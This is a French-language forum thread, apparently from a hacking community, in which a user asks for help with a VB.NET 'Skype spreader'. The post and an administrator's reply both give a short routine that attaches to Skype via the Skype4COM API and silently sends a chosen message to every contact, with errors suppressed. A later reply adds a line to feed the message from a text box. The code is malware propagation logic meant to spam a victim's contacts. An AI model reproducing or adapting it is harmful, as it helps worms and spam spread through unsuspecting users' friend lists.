[VB.NET]Aide skype spreader

  • Comme vous le savez le discord n'est malheureusement plus disponible, voici donc le nouveau moyen de communication à travers CG3 : Matrix Pour plus d'informations sur la fermeture du discord : Fermeture du discord.

Statut
La discussion n'est pas ouverte à d'autres réponses
Salut a tous vu que j'ai trouver comment faire pour le "cloud Flare Ip resolver" je m'attaque donc a un Skype spreader voila ce que m'on pote ma donner comme code mais il a du oublier du code.


Code:
 Public Shared Sub skype(ByRef Message As String)
        On Error Resume Next
        Dim skype As Object
        skype = CreateObject("Skype4COM.skype", "")
        skype.client.start()
        skype.attach()
        For Each user In skype.friends
            skype.sendmessage(user.handle, Message)
        Next
    End Sub
Merci de m'aider

Bonne soirée a tous!
 

Cyrion

._.
Programmeur
Ancien staff
8 Juil. 2010
2,525
2
944
www.bufferoverflow.fr
Si tu veux devenir programmeur , faut apprendre à comprendre les codes et/ou à faire un peu de recherche.

Si tu as aucune idée et tu restes bloqué là devant un bout de code tout simple qu'il t'a donné, ça avanceras pas.
 

Evaelis

La Voix de la Sagesse
Administrateur
Marchand
28 Avr. 2010
23,014
463
1,699
Valhalla
Tu le fait exprès ton pote t'a filé du tout cuit :
Public Shared Sub skype(ByRef Message As String)
On Error Resume Next
Dim skype As Object
skype = CreateObject("Skype4COM.skype", "")
skype.client.start()
skype.attach()
For Each user In skype.friends
skype.sendmessage(user.handle, Message)
Next
End Sub
Tu as juste à faire
Skype("Message à envoyer") et ça l'envoie à tous le monde, dit pas que TU as réussi à faire qqc car c'est pas vrai U_u
 

ced5959

Membre
23 Août 2011
15
0
301
dim message as new string = textbox1.text
skype.sendmessage(user.handle, Message)
...... Un gros limer ce mec bonne continuation
 
Statut
La discussion n'est pas ouverte à d'autres réponses